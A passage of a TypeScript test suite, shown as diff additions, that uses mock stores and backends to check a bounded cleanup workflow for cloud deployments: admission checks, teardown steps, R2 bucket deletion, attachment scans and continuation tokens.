this.receipts.delete(receipt.operationId); + return { deleted: doomed.length }; + }; + } + + async withDeploymentLease( + tenantTag: string, + environment: string, + operation: (lease: FleetStateLease) => Promise, + ): Promise { + if (this.leased) throw new Error('deployment is already being modified'); + this.leased = true; + try { + return await operation(this.lease(tenantTag, environment)); + } finally { + this.leased = false; + } + } + + lease(tenantTag: string, environment: string): FleetStateLease { + return { + tenantTag, + environment, + mutationLeaseTtlMs: 15 * 60_000, + assertOwned: async () => {}, + renew: async () => {}, + put: (next) => this.put(next), + delete: async () => { + this.record = undefined; + }, + ...(this.supportsCompleteCleanup + ? { + completeCleanup: (input: { + receipt: CleanupTerminalReceipt; + expectedRevision: number; + }) => this.completeCleanup(input), + } + : {}), + }; + } + + async put(next: FleetRecord): Promise { + let normalized = next; + if (next.cleanupIntent) { + const { cleanupIntent, ...source } = next; + normalized = { + ...source, + cleanupIntent: normalizeCleanupAdvanceIntent(cleanupIntent, source), + }; + } + this.puts += 1; + this.record = normalized; + } + + async completeCleanup(input: { + receipt: CleanupTerminalReceipt; + expectedRevision: number; + }): Promise { + this.completeCleanupCalls += 1; + const current = this.record; + if ( + current?.phase !== 'cleanup-advancing' || + current.cleanupIntent?.operationId !== input.receipt.operationId || + current.cleanupIntent.revision !== input.expectedRevision + ) { + const existing = this.receipts.get(input.receipt.operationId); + if (existing) return existing; + throw new Error( + `cleanup receipt conflict for operation '${input.receipt.operationId}'`, + ); + } + const persisted = { ...input.receipt, completedAtMs: this.completedAtMs }; + this.completedAtMs += 1; + this.receipts.set(persisted.operationId, persisted); + this.record = undefined; + if (this.failTerminalResponseOnce) { + this.failTerminalResponseOnce = false; + throw new Error('terminal response lost'); + } + return persisted; + } + + async get(): Promise { + return this.record; + } + + async list(): Promise { + return this.record ? [this.record] : []; + } +} + +class CleanupBackend implements ProvisioningBackend { + kind: ProvisioningBackendKind = 'plain-worker'; + immutableExternalArtifacts?: true; + providerCalls = 0; + readonly events: string[] = []; + databaseExists = true; + databaseId = DATABASE_ID; + databaseName = 'acme-production'; + databaseOwner: string | undefined = 'acme'; + detachFailure: unknown; + readonly seededFenceStates: InitialExecutionFenceState[] = []; + readonly scanInputs: DecommissionAttachmentScanInput[] = []; + scanResults: DecommissionAttachmentScanResult[] = []; + readonly liveBuckets = new Map(); + + advanceDecommissionAttachmentScan?: ( + input: DecommissionAttachmentScanInput, + ) => Promise; + assertDatabaseDeletionResidualsRemoved?: () => Promise; + revokePlatformResourceCredentials?: () => Promise; + deletePlatformResources?: () => Promise; + findApplicationR2Bucket?: ( + resource: ApplicationR2Resource, + ) => Promise; + assertApplicationR2Empty?: () => Promise; + assertApplicationR2Detached?: () => Promise; + deleteApplicationR2Bucket?: ( + resource: ApplicationR2Resource, + ) => Promise; + + constructor() { + this.advanceDecommissionAttachmentScan = async (input) => { + this.call('attachmentScan'); + this.scanInputs.push(input); + const result = this.scanResults.shift(); + if (!result) throw new Error('unexpected attachment scan'); + return result; + }; + this.assertDatabaseDeletionResidualsRemoved = async () => { + this.call('residuals'); + }; + this.revokePlatformResourceCredentials = async () => { + this.call('revokePlatformResourceCredentials'); + }; + this.deletePlatformResources = async () => { + this.call('deletePlatformResources'); + }; + this.findApplicationR2Bucket = async (resource) => { + this.call('findApplicationR2Bucket'); + return this.liveBuckets.get(resource.bucketName); + }; + this.assertApplicationR2Empty = async () => { + this.call('assertApplicationR2Empty'); + }; + this.assertApplicationR2Detached = async () => { + this.call('assertApplicationR2Detached'); + if (this.detachFailure !== undefined) throw this.detachFailure; + }; + this.deleteApplicationR2Bucket = async (resource) => { + this.call('deleteApplicationR2Bucket'); + this.liveBuckets.delete(resource.bucketName); + }; + } + + call(name: string): void { + this.providerCalls += 1; + this.events.push(name); + } + + drainEvents(): readonly string[] { + return this.events.splice(0); + } + + async findDatabase(): Promise { + this.call('findDatabase'); + return this.databaseExists + ? { id: this.databaseId, name: this.databaseName, created: false } + : undefined; + } + + async getDatabase( + databaseId: string, + ): Promise { + this.call('getDatabase'); + return this.databaseExists && databaseId === this.databaseId + ? { id: this.databaseId, name: this.databaseName, created: false } + : undefined; + } + + async readDeploymentIdentity(): Promise { + this.call('readDeploymentIdentity'); + return this.databaseOwner; + } + + async seedDeploymentIdentity( + _database: DatabaseReference, + tenantTag: string, + _fence: unknown, + options: SeedDeploymentIdentityOptions, + ): Promise { + this.call('seedDeploymentIdentity'); + this.seededFenceStates.push(options.initialExecutionFenceState); + this.databaseOwner = tenantTag; + } + + async deleteDatabase(): Promise { + this.call('deleteDatabase'); + this.databaseExists = false; + } + + async removeTraffic(): Promise { + this.call('removeTraffic'); + } + + async assertTrafficRemoved(): Promise { + this.call('assertTrafficRemoved'); + } + + async revokeCredentials(): Promise { + this.call('revokeCredentials'); + } + + async deleteWorker(): Promise { + this.call('deleteWorker'); + } + + async ensureDatabase(): Promise { + throw new Error('unexpected ensureDatabase call'); + } + + async applyMigrations(): Promise { + throw new Error('unexpected applyMigrations call'); + } + + async deployWorker(): Promise { + throw new Error('unexpected deployWorker call'); + } + + async promoteWorker(): Promise { + throw new Error('unexpected promoteWorker call'); + } + + async ensureMaintenance(): Promise { + throw new Error('unexpected ensureMaintenance call'); + } + + async inspect(): Promise { + throw new Error('unexpected inspect call'); + } + + async attestActiveRoute(): Promise { + throw new Error('unexpected attestActiveRoute call'); + } + + async assertDatabaseDetached(): Promise { + throw new Error('unexpected assertDatabaseDetached call'); + } + + async exportDatabase(): Promise { + throw new Error('unexpected exportDatabase call'); + } +} + +function harness(): { + store: CleanupMemoryStore; + backend: CleanupBackend; +} { + return { store: new CleanupMemoryStore(), backend: new CleanupBackend() }; +} + +function options( + store: CleanupMemoryStore, + backend: CleanupBackend, + action: AdvanceCleanupDeploymentOptions['action'], + overrides: Partial = {}, +): AdvanceCleanupDeploymentOptions { + return { + backend, + store, + spec: spec(), + action, + maxProviderRequests: 9, + randomUUID: () => OPERATION_ID, + ...overrides, + }; +} + +function start( + store: CleanupMemoryStore, + backend: CleanupBackend, + overrides: Partial = {}, +): Promise { + return advanceCleanupDeployment( + options(store, backend, { kind: 'start' }, overrides), + ); +} + +function continueWith( + store: CleanupMemoryStore, + backend: CleanupBackend, + continuation: unknown, + overrides: Partial = {}, +): Promise { + return advanceCleanupDeployment( + options( + store, + backend, + { kind: 'continue', token: continuation }, + overrides, + ), + ); +} + +function activeIntent(store: CleanupMemoryStore): CleanupAdvanceIntent { + const intent = store.record?.cleanupIntent; + if (!intent) throw new Error('expected an active cleanup intent'); + return intent; +} + +function r2Resource( + state: ApplicationR2Resource['state'], + overrides: Partial = {}, +): ApplicationR2Resource { + const [reserved] = reserveApplicationR2Resources(r2Spec()); + if (!reserved) throw new Error('expected a reserved application resource'); + return { ...reserved, state, creationDate: CREATION_DATE, ...overrides }; +} + +function r2ActiveRecord( + state: CleanupAdvanceState, + resource: ApplicationR2Resource, +): FleetRecord { + return activeRecord(state, { + record: { + applicationResources: [resource], + desiredSpecDigest: deploymentSpecDigest(r2Spec()), + }, + }); +} + +function liveBucket( + resource: ApplicationR2Resource, +): ApplicationR2BucketSnapshot { + return { + name: resource.name, + bucketName: resource.bucketName, + jurisdiction: resource.jurisdiction, + creationDate: resource.creationDate ?? CREATION_DATE, + }; +} + +describe('bounded cleanup admission', () => { + it('starts a manual cleanup into teardown-traffic and persists the admission identity', async () => { + const { store, backend } = harness(); + store.record = record(); + let uuidCalls = 0; + const result = await start(store, backend, { + randomUUID: () => { + uuidCalls += 1; + return OPERATION_ID; + }, + }); + expect(result).toEqual({ status: 'pending', token: token(0) }); + expect(uuidCalls).toBe(1); + expect(store.puts).toBe(1); + expect(backend.providerCalls).toBe(0); + expect(store.record?.phase).toBe('cleanup-advancing'); + const intent = activeIntent(store); + expect(intent.authority).toEqual({ kind: 'manual-cleanup' }); + expect(intent.identity.admittedPhase).toBe('worker-deployed'); + expect(intent.identity.externalArtifact).toBe(false); + expect(intent.state).toEqual({ step: 'teardown-traffic' }); + }); + + it('starts a reservation cleanup at database-deletion and clears an absent reservation with a receipt', async () => { + const { store, backend } = harness(); + store.record = record({ phase: 'database-create-authorized' }); + backend.databaseExists = false; + const started = await start(store, backend); + expect(started.status).toBe('pending'); + expect(activeIntent(store).state).toEqual({ step: 'database-deletion' }); + const result = await continueWith(store, backend, token(0)); + if (result.status !== 'complete') throw new Error('expected complete'); + expect(result.receipt.disposition).toBe('reservation-cleared'); + expect(result.receipt.admittedPhase).toBe('database-create-authorized'); + expect(result.receipt.evidence).toEqual({ + eligibility: 'reservation-only', + ingressRemoved: false, + workerAbsent: false, + platformResourcesAbsent: false, + applicationR2Settled: false, + databaseAbsentReadback: true, + }); + expect(typeof result.receipt.completedAtMs).toBe('number'); + expect(store.record).toBeUndefined(); + expect(store.receipts.get(OPERATION_ID)).toEqual(result.receipt); + }); + + it('preserves the unauthorized database reservation refusal at admission and in the group', async () => { + const { store, backend } = harness(); + store.record = record({ phase: 'database-reserved' }); + const message = `refusing to clear an unauthorized database reservation while '${DATABASE_ID}:acme-production' exists`; + await expect(start(store, backend)).rejects.toThrow(message); + expect(store.record?.phase).toBe('database-reserved'); + expect(store.record?.cleanupIntent).toBeUndefined(); + const seeded = harness(); + seeded.store.record = activeRecord( + { step: 'database-deletion' }, + { admittedPhase: 'database-reserved' }, + ); + await expect( + continueWith(seeded.store, seeded.backend, token(0)), + ).rejects.toThrow(message); + expect(seeded.store.record?.cleanupIntent).toBeDefined(); + }); + + it('refuses ineligible admissions with fixed messages and zero provider mutations', async () => { + const cases: readonly Readonly<{ + overrides: Partial; + backendKind?: ProvisioningBackendKind; + message: string; + }>[] = [ + { + overrides: { + invocationAuthority: { version: 1, authorizedAt: AUTHORIZED_AT }, + }, + message: + 'deployment candidate invocation was durably authorized; use export-backed decommissioning', + }, + { + overrides: { invocationAuthority: undefined }, + message: + 'legacy deployment phase cannot rule out candidate invocation; use export-backed decommissioning', + }, + { + overrides: { phase: 'maintenance-armed' }, + message: + 'invocation authority carrier is inconsistent with the deployment phase; use export-backed decommissioning', + }, + { + overrides: { + invocationAuthority: { + version: 2, + } as unknown as InvocationAuthorityCarrier, + }, + message: + 'invocation authority carrier is malformed; use export-backed decommissioning', + }, + { + overrides: { backend: 'workers-for-platforms' }, + backendKind: 'workers-for-platforms', + message: + 'deployment carries an untrusted data binding; use export-backed decommissioning', + }, + { + overrides: { + pendingRelease: { + physicalScriptName: 'acme-production-r2', + specDigest: 'd'.repeat(64), + artifactVersion: 'artifact-v2', + releaseSchemaVersion: 3, + }, + }, + message: + 'deployment carries external staging evidence; use export-backed decommissioning', + }, + { + overrides: { phase: 'publishing' }, + message: + "deployment in phase 'publishing' requires export-backed decommissioning", + }, + ]; + for (const testCase of cases) { + const { store, backend } = harness(); + const seeded = record(); + const overridden: FleetRecord = { ...seeded, ...testCase.overrides }; + if (testCase.overrides.invocationAuthority === undefined) { + const { invocationAuthority: _carrier, ...legacy } = overridden; + store.record = + 'invocationAuthority' in testCase.overrides ? legacy : overridden; + } else { + store.record = overridden; + } + if (testCase.backendKind) backend.kind = testCase.backendKind; + await expect(start(store, backend)).rejects.toThrow(testCase.message); + expect(store.puts).toBe(0); + expect(backend.providerCalls).toBe(0); + expect(store.record).toEqual(store.record); + } + const empty = harness(); + await expect(start(empty.store, empty.backend)).rejects.toThrow( + 'deployment is not registered', + ); + }); + + it('persists the admission externalArtifact and consumes the persisted value over the live backend flag', async () => { + const refused = harness(); + refused.store.record = record(); + refused.backend.immutableExternalArtifacts = true; + await expect(start(refused.store, refused.backend)).rejects.toThrow( + 'deployment carries an untrusted data binding; use export-backed decommissioning', + ); + const { store, backend } = harness(); + store.record = record({ phase: 'database-created' }); + await start(store, backend); + expect(activeIntent(store).identity.externalArtifact).toBe(false); + const persisted = harness(); + persisted.store.record = activeRecord( + { step: 'database-deletion' }, + { admittedPhase: 'database-created' }, + ); + persisted.backend.databaseOwner = undefined; + persisted.backend.immutableExternalArtifacts = true; + const result = await continueWith( + persisted.store, + persisted.backend, + token(0), + ); + expect(result.status).toBe('complete'); + }); + + it('validates the provider request budget before any work', async () => { + for (const budget of [8, 1_001]) { + const { store, backend } = harness(); + store.record = record(); + await expect( + start(store, backend, { maxProviderRequests: budget }), + ).rejects.toThrow( + 'maxProviderRequests must be an integer from 9 to 1000', + ); + expect(store.puts).toBe(0); + expect(backend.providerCalls).toBe(0); + } + }); + + it('refuses to admit teardown cleanup without the bounded start capabilities', async () => { + const scanless = harness(); + scanless.store.record = record(); + scanless.backend.advanceDecommissionAttachmentScan = undefined; + await expect(start(scanless.store, scanless.backend)).rejects.toThrow( + new CleanupAdvanceCapabilityError('attachment-scan').message, + ); + const residualless = harness(); + residualless.store.record = record(); + residualless.backend.assertDatabaseDeletionResidualsRemoved = undefined; + await expect( + start(residualless.store, residualless.backend), + ).rejects.toThrow( + new CleanupAdvanceCapabilityError('database-residuals').message, + ); + expect(scanless.store.puts + residualless.store.puts).toBe(0); + expect( + scanless.backend.providerCalls + residualless.backend.providerCalls, + ).toBe(0); + }); +}); + +describe('bounded cleanup start resume', () => { + it('resumes an existing manual cleanup from start without a new operation or classifier re-run', async () => { + const { store, backend } = harness(); + store.record = activeRecord( + { step: 'teardown-worker' }, + { + revision: 4, + record: { + invocationAuthority: { version: 1, authorizedAt: AUTHORIZED_AT }, + }, + }, + ); + const result = await start(store, backend, { randomUUID: unexpectedUUID }); + expect(result).toEqual({ status: 'pending', token: token(4) }); + expect(store.puts).toBe(0); + expect(backend.providerCalls).toBe(0); + }); + + it('returns the blocked result from start when the operation is blocked', async () => { + const { store, backend } = harness(); + store.record = activeRecord( + { + step: 'blocked', + purpose: { + kind: 'cleanup-database-pre-delete', + databaseId: DATABASE_ID, + operationId: OPERATION_ID, + }, + attachment: { plane: 'ordinary', scriptName: 'tenant-holder' }, + }, + { revision: 2 }, + ); + const result = await start(store, backend, { randomUUID: unexpectedUUID }); + expect(result).toEqual({ + status: 'blocked', + token: token(2), + purpose: { + kind: 'cleanup-database-pre-delete', + databaseId: DATABASE_ID, + operationId: OPERATION_ID, + }, + attachment: { plane: 'ordinary', scriptName: 'tenant-holder' }, + }); + }); + + it('validates the resuming caller before returning the authoritative result', async () => { + const { store, backend } = harness(); + store.record = activeRecord({ step: 'teardown-worker' }); + backend.kind = 'workers-for-platforms'; + await expect( + start(store, backend, { randomUUID: unexpectedUUID }), + ).rejects.toThrow('cleanup backend does not own this deployment'); + backend.kind = 'plain-worker'; + await expect( + start(store, backend, { + spec: spec({ databaseName: 'acme-other' }), + randomUUID: unexpectedUUID, + }), + ).rejects.toThrow( + "deployment 'acme:production' already exists with a different immutable resource mapping", + ); + }); + + it('resumes a provisioning-rollback intent from start only for the requested specification', async () => { + const authority: CleanupAuthority = { + kind: 'provisioning-rollback', + reservationOwned: true, + databaseOwned: true, + workerCreatedByAttempt: true, + workerResourceState: 'unknown', + requestedSpecDigest: deploymentSpecDigest(spec()), + }; + const { store, backend } = harness(); + store.record = activeRecord( + { step: 'teardown-traffic' }, + { authority, revision: 1 }, + ); + const result = await start(store, backend, { randomUUID: unexpectedUUID }); + expect(result).toEqual({ status: 'pending', token: token(1) }); + const mismatched = harness(); + mismatched.store.record = activeRecord( + { step: 'teardown-traffic' }, + { authority: { ...authority, requestedSpecDigest: 'f'.repeat(64) } }, + ); + await expect( + start(mismatched.store, mismatched.backend, { + randomUUID: unexpectedUUID, + }), + ).rejects.toThrow('cleanup retry uses a different requested specification'); + }); +}); + +describe('bounded cleanup one-group-per-call', () => { + it('performs at most one action group per call through the full teardown path', async () => { + const { store, backend } = harness(); + store.record = record({ + phase: 'platform-resources-deployed', + platformResources: PLATFORM_RESOURCES, + }); + backend.scanResults = [scanComplete(), scanComplete()]; + const started = await start(store, backend); + expect(started).toEqual({ status: 'pending', token: token(0) }); + expect(backend.drainEvents()).toEqual([]); + + const traffic = await continueWith(store, backend, token(0)); + expect(traffic).toEqual({ status: 'pending', token: token(1) }); + expect(backend.drainEvents()).toEqual([ + 'removeTraffic', + 'assertTrafficRemoved', + ]); + expect(activeIntent(store).state).toEqual({ step: 'teardown-worker' }); + + const worker = await continueWith(store, backend, token(1)); + expect(worker).toEqual({ status: 'pending', token: token(2) }); + expect(backend.drainEvents()).toEqual([ + 'revokeCredentials', + 'deleteWorker', + ]); + expect(activeIntent(store).state).toEqual({ step: 'teardown-platform' }); + + const platform = await continueWith(store, backend, token(2)); + expect(platform).toEqual({ status: 'pending', token: token(3) }); + expect(backend.drainEvents()).toEqual([ + 'revokePlatformResourceCredentials', + 'deletePlatformResources', + ]); + expect(activeIntent(store).state).toEqual({ + step: 'r2-deletion', + startResourceIndex: 0, + }); + + const r2 = await continueWith(store, backend, token(3)); + expect(r2).toEqual({ status: 'pending', token: token(4) }); + expect(backend.drainEvents()).toEqual([]); + expect(activeIntent(store).state).toEqual( + intentFor(store.record as FleetRecord, discoverState()).state, + ); + + const discover = await continueWith(store, backend, token(4)); + expect(discover).toEqual({ status: 'pending', token: token(5) }); + expect(backend.drainEvents()).toEqual(['attachmentScan']); + const verifyIntent = activeIntent(store); + if (verifyIntent.state.step !== 'attachment-scan') { + throw new Error('expected an attachment scan state'); + } + expect(verifyIntent.state.scan.pass).toBe('verify'); + expect(verifyIntent.state.scan.discoverEvidence).toEqual({ + evidenceSha256: EVIDENCE_A, + evidenceCount: 2, + }); + + const verify = await continueWith(store, backend, token(5)); + expect(verify).toEqual({ status: 'pending', token: token(6) }); + expect(backend.drainEvents()).toEqual(['attachmentScan']); + expect(activeIntent(store).state).toEqual({ step: 'database-deletion' }); + + const result = await continueWith(store, backend, token(6)); + if (result.status !== 'complete') throw new Error('expected complete'); + expect(backend.drainEvents()).toEqual([ + 'getDatabase', + 'readDeploymentIdentity', + 'residuals', + 'deleteDatabase', + 'getDatabase', + ]); + expect(result.token).toEqual(token(6)); + expect(result.receipt.disposition).toBe('prepublication-owned-no-export'); + expect(result.receipt.authority).toBe('manual-cleanup'); + expect(result.receipt.admittedPhase).toBe('platform-resources-deployed'); + expect(result.receipt.evidence).toEqual({ + eligibility: 'carrier-null', + ingressRemoved: true, + workerAbsent: true, + platformResourcesAbsent: true, + applicationR2Settled: true, + databaseAbsentReadback: true, + }); + expect(store.record).toBeUndefined(); + expect(store.completeCleanupCalls).toBe(1); + }); + + it('replays a lost teardown transition as a durable no-op', async () => { + const groups: readonly Readonly<{ + state: CleanupAdvanceState; + events: readonly string[]; + next: CleanupAdvanceState; + }>[] = [ + { + state: { step: 'teardown-traffic' }, + events: ['removeTraffic', 'assertTrafficRemoved'], + next: { step: 'teardown-worker' }, + }, + { + state: { step: 'teardown-worker' }, + events: ['revokeCredentials', 'deleteWorker'], + next: { step: 'teardown-platform' }, + }, + { + state: { step: 'teardown-platform' }, + events: [ + 'revokePlatformResourceCredentials', + 'deletePlatformResources', + ], + next: { step: 'r2-deletion', startResourceIndex: 0 }, + }, + ]; + for (const group of groups) { + const { store, backend } = harness(); + store.record = activeRecord(group.state, { + admittedPhase: 'platform-resources-deployed', + record: { platformResources: PLATFORM_RESOURCES }, + }); + const snapshot = store.record; + const first = await continueWith(store, backend, token(0)); + expect(first).toEqual({ status: 'pending', token: token(1) }); + expect(backend.drainEvents()).toEqual(group.events); + expect(activeIntent(store).state).toEqual(group.next); + store.record = snapshot; + const replayed = await continueWith(store, backend, token(0)); + expect(replayed).toEqual({ status: 'pending', token: token(1) }); + expect(backend.drainEvents()).toEqual(group.events); + expect(activeIntent(store).state).toEqual(group.next); + } + }); +}); + +describe('bounded cleanup application R2 deletion', () => { + it('persists advanced application resources and moves the start index only on deleted', async () => { + const { store, backend } = harness(); + const resource = r2Resource('empty'); + backend.liveBuckets.set(resource.bucketName, liveBucket(resource)); + store.record = r2ActiveRecord( + { step: 'r2-deletion', startResourceIndex: 0 }, + resource, + ); + const authorized = await continueWith(store, backend, token(0), { + spec: r2Spec(), + }); + expect(authorized).toEqual({ status: 'pending', token: token(1) }); + expect(backend.drainEvents()).toEqual([]); + expect(store.record?.applicationResources?.[0]?.state).toBe( + 'delete-authorized', + ); + expect(activeIntent(store).state).toEqual({ + step: 'r2-deletion', + startResourceIndex: 0, + }); + const deleted = await continueWith(store, backend, token(1), { + spec: r2Spec(), + }); + expect(deleted).toEqual({ status: 'pending', token: token(2) }); + expect(backend.drainEvents()).toEqual([ + 'findApplicationR2Bucket', + 'deleteApplicationR2Bucket', + 'findApplicationR2Bucket', + ]); + expect(store.record?.applicationResources?.[0]?.state).toBe('deleted'); + expect(activeIntent(store).state).toEqual({ + step: 'r2-deletion', + startResourceIndex: 1, + }); + const complete = await continueWith(store, backend, token(2), { + spec: r2Spec(), + }); + expect(complete).toEqual({ status: 'pending', token: token(3) }); + const scanIntent = activeIntent(store); + expect(scanIntent.state.step).toBe('attachment-scan'); + expect(scanIntent.generation).toBe(1); + }); + + it('runs the detachment lifecycle through the application-r2-detach capability', async () => { + const { store, backend } = harness(); + const resource = r2Resource('created'); + backend.liveBuckets.set(resource.bucketName, liveBucket(resource)); + store.record = r2ActiveRecord( + { step: 'r2-deletion', startResourceIndex: 0 }, + resource, + ); + const detachRequired = await continueWith(store, backend, token(0), { + spec: r2Spec(), + }); + expect(detachRequired).toEqual({ status: 'pending', token: token(1) }); + expect(backend.drainEvents()).toEqual([ + 'findApplicationR2Bucket', + 'assertApplicationR2Detached', + ]); + expect(store.record?.applicationResources?.[0]?.state).toBe( + 'detach-authorized', + ); + expect(activeIntent(store).state).toEqual({ + step: 'r2-deletion', + startResourceIndex: 0, + verifiedDetachmentResourceIndex: 0, + }); + const detached = await continueWith(store, backend, token(1), { + spec: r2Spec(), + }); + expect(detached).toEqual({ status: 'pending', token: token(2) }); + expect(backend.drainEvents()).toEqual([]); + expect(store.record?.applicationResources?.[0]?.state).toBe('detached'); + const state = activeIntent(store).state; + expect(state).toEqual({ step: 'r2-deletion', startResourceIndex: 0 }); + expect(Object.hasOwn(state, 'verifiedDetachmentResourceIndex')).toBe(false); + }); + + it('persists nothing when the detachment assertion fails and replay re-derives the requirement', async () => { + const { store, backend } = harness(); + const resource = r2Resource('created'); + backend.liveBuckets.set(resource.bucketName, liveBucket(resource)); + store.record = r2ActiveRecord( + { step: 'r2-deletion', startResourceIndex: 0 }, + resource, + ); + backend.detachFailure = new Error('bucket is still attached'); + await expect( + continueWith(store, backend, token(0), { spec: r2Spec() }), + ).rejects.toThrow('bucket is still attached'); + expect(store.puts).toBe(0); + expect(store.record?.applicationResources?.[0]?.state).toBe('created'); + expect(activeIntent(store).revision).toBe(0); + backend.detachFailure = undefined; + backend.drainEvents(); + const retried = await continueWith(store, backend, token(0), { + spec: r2Spec(), + }); + expect(retried).toEqual({ status: 'pending', token: token(1) }); + expect(backend.drainEvents()).toEqual([ + 'findApplicationR2Bucket', + 'assertApplicationR2Detached', + ]); + expect(activeIntent(store).state).toEqual({ + step: 'r2-deletion', + startResourceIndex: 0, + verifiedDetachmentResourceIndex: 0, + }); + }); +}); + +describe('bounded cleanup attachment scan', () => { + it('targets the deployment database for cleanup attachment scans', async () => { + const { store, backend } = harness(); + store.record = activeRecord(discoverState()); + backend.scanResults = [ + { + status: 'pending', + progress: initialWorkerAttachmentScan({ + kind: 'd1', + databaseId: DATABASE_ID, + }), + providerFetchAttemptsReserved: 3, + }, + ]; + const pending = await continueWith(store, backend, token(0)); + expect(pending).toEqual({ status: 'pending', token: token(1) }); + const input = backend.scanInputs[0]; + expect(input?.progress.target).toEqual({ + kind: 'd1', + databaseId: DATABASE_ID, + }); + backend.scanResults = [ + { + status: 'pending', + progress: initialWorkerAttachmentScan({ + kind: 'r2', + bucketName: 'stray-bucket', + }), + providerFetchAttemptsReserved: 3, + }, + ]; + await expect(continueWith(store, backend, token(1))).rejects.toThrow( + 'bounded cleanup attachment result is malformed', + ); + }); + + it('passes the call-local abort signal to the scan without persisting it', async () => { + const { store, backend } = harness(); + store.record = activeRecord(discoverState()); + backend.scanResults = [scanComplete()]; + const controller = new AbortController(); + await continueWith(store, backend, token(0), { signal: controller.signal }); + expect(backend.scanInputs[0]?.signal).toBe(controller.signal); + expect(JSON.stringify(store.record)).not.toContain('signal'); + }); + + it('consumes matching discover and verify evidence into the database-deletion transition', async () => { + const { store, backend } = harness(); + store.record = activeRecord(verifyState()); + backend.scanResults = [scanComplete()]; + const consumed = await continueWith(store, backend, token(0)); + expect(consumed).toEqual({ status: 'pending', token: token(1) }); + expect(backend.drainEvents()).toEqual(['attachmentScan']); + expect(activeIntent(store).state).toEqual({ step: 'database-deletion' }); + const result = await continueWith(store, backend, token(1)); + if (result.status !== 'complete') throw new Error('expected complete'); + expect(result.receipt.evidence.scan).toBeUndefined(); + expect(result.receipt.disposition).toBe('prepublication-owned-no-export'); + }); + + it('restarts a new discover generation when verify evidence mismatches', async () => { + const { store, backend } = harness(); + store.record = activeRecord(verifyState()); + backend.scanResults = [scanComplete(EVIDENCE_B, 3)]; + const restarted = await continueWith(store, backend, token(0)); + expect(restarted).toEqual({ status: 'pending', token: token(1) }); + const intent = activeIntent(store); + expect(intent.generation).toBe(1); + if (intent.state.step !== 'attachment-scan') { + throw new Error('expected an attachment scan state'); + } + expect(intent.state.scan.pass).toBe('discover'); + expect(intent.state.scan.progress).toEqual( + initialWorkerAttachmentScan({ kind: 'd1', databaseId: DATABASE_ID }), + ); + expect(backend.events).not.toContain('getDatabase'); + expect(backend.events).not.toContain('deleteDatabase'); + }); + + it('persists a safe blocked attachment and restarts only through restart-blocked', async () => { + const { store, backend } = harness(); + store.record = activeRecord(discoverState()); + backend.scanResults = [scanAttached()]; + const blocked = await continueWith(store, backend, token(0)); + expect(blocked).toEqual({ + status: 'blocked', + token: token(1), + purpose: { + kind: 'cleanup-database-pre-delete', + databaseId: DATABASE_ID, + operationId: OPERATION_ID, + }, + attachment: { + plane: 'dispatch', + scriptName: 'tenant-holder', + dispatchNamespace: 'tenants', + }, + }); + backend.drainEvents(); + const stillBlocked = await continueWith(store, backend, token(1)); + expect(stillBlocked.status).toBe('blocked'); + expect(backend.providerCalls).toBe(1); + expect(backend.drainEvents()).toEqual([]); + const restarted = await advanceCleanupDeployment( + options(store, backend, { kind: 'restart-blocked', token: token(1) }), + ); + expect(restarted).toEqual({ status: 'pending', token: token(2) }); + const intent = activeIntent(store); + expect(intent.generation).toBe(1); + if (intent.state.step !== 'attachment-scan') { + throw new Error('expected an attachment scan state'); + } + expect(intent.state.scan.pass).toBe('discover'); + await expect( + advanceCleanupDeployment( + options(store, backend, { kind: 'restart-blocked', token: token(2) }), + ), + ).rejects.toThrow(CleanupAdvanceRestartError); + }); + + it('returns blocked again when a restarted scan still finds an attachment', async () => { + const { store, backend } = harness(); + store.record = activeRecord( + { + step: 'blocked', + purpose: { + kind: 'cleanup-database-pre-delete', + databaseId: DATABASE_ID, + operationId: OPERATION_ID, + }, + attachment: { plane: 'ordinary', scriptName: 'tenant-holder' }, + }, + { revision: 3, generation: 1 }, + ); + const restarted = await advanceCleanupDeployment( + options(store, backend, { kind: 'restart-blocked', token: token(3) }), + ); + expect(restarted).toEqual({ status: 'pending', token: token(4) }); + expect(activeIntent(store).generation).toBe(2); + backend.scanResults = [scanAttached()]; + const blockedAgain = await continueWith(store, backend, token(4)); + expect(blockedAgain.status).toBe('blocked'); + const intent = activeIntent(store); + expect(intent.state.step).toBe('blocked'); + }); +}); + +describe('bounded cleanup tokens', () => { + it('returns the authoritative result for a stale token without provider work', async () => { + const { store, backend } = harness(); + store.record = activeRecord({ step: 'teardown-worker' }, { revision: 2 }); + const result = await continueWith(store, backend, token(1)); + expect(result).toEqual({ status: 'pending', token: token(2) }); + expect(store.puts).toBe(0); + expect(backend.providerCalls).toBe(0); + }); + + it('rejects a future token', async () => { + const { store, backend } = harness(); + store.record = activeRecord({ step: 'teardown-worker' }, { revision: 2 }); + await expect(continueWith(store, backend, token(5))).rejects.toThrow( + CleanupAdvanceTokenFutureError, + ); + }); + + it('rejects a token for another deployment before taking the lease', async () => { + const { store, backend } = harness(); + store.record = activeRecord({ step: 'teardown-worker' }); + await expect( + continueWith( + store, + backend, + token(0, OPERATION_ID, { tenantTag: 'zeta' }), + ), + ).rejects.toThrow(CleanupAdvanceTokenDeploymentError); + expect(store.puts).toBe(0); + expect(backend.providerCalls).toBe(0); + }); + + it('adjudicates delayed tokens against the immutable receipt', async () => { + const { store, backend } = harness(); + store.record = activeRecord( + { step: 'database-deletion' }, + { admittedPhase: 'database-create-authorized' }, + ); + backend.databaseExists = false; + const terminal = await continueWith(store, backend, token(0)); + if (terminal.status !== 'complete') throw new Error('expected complete'); + const delayed = await continueWith(store, backend, token(0)); + expect(delayed).toEqual({ + status: 'complete', + token: token(0), + receipt: terminal.receipt, + }); + }); + + it('returns the old receipt across a same-key reprovision and never touches the new row', async () => { + const { store, backend } = harness(); + store.record = activeRecord( + { step: 'database-deletion' }, + { admittedPhase: 'database-create-authorized' }, + ); + backend.databaseExists = false; + const terminal = await continueWith(store, backend, token(0)); + if (terminal.status !== 'complete') throw new Error('expected complete'); + const reprovisioned = record({ phase: 'worker-deployed' }); + store.record = reprovisioned; + const putsBefore = store.puts; + const delayed = await continueWith(store, backend, token(0)); + expect(delayed).toEqual({ + status: 'complete', + token: token(0), + receipt: terminal.receipt, + }); + expect(store.record).toEqual(reprovisioned); + expect(store.puts).toBe(putsBefore); + store.record = activeRecord({ step: 'teardown-traffic' }, { record: {} }); + store.record = { + ...store.record, + cleanupIntent: { + ...activeIntent(store), + operationId: OTHER_OPERATION_ID, + state: { step: 'teardown-traffic' }, + }, + }; + const acrossNewOperation = await continueWith(store, backend, token(0)); + expect(acrossNewOperation.status).toBe('complete'); + 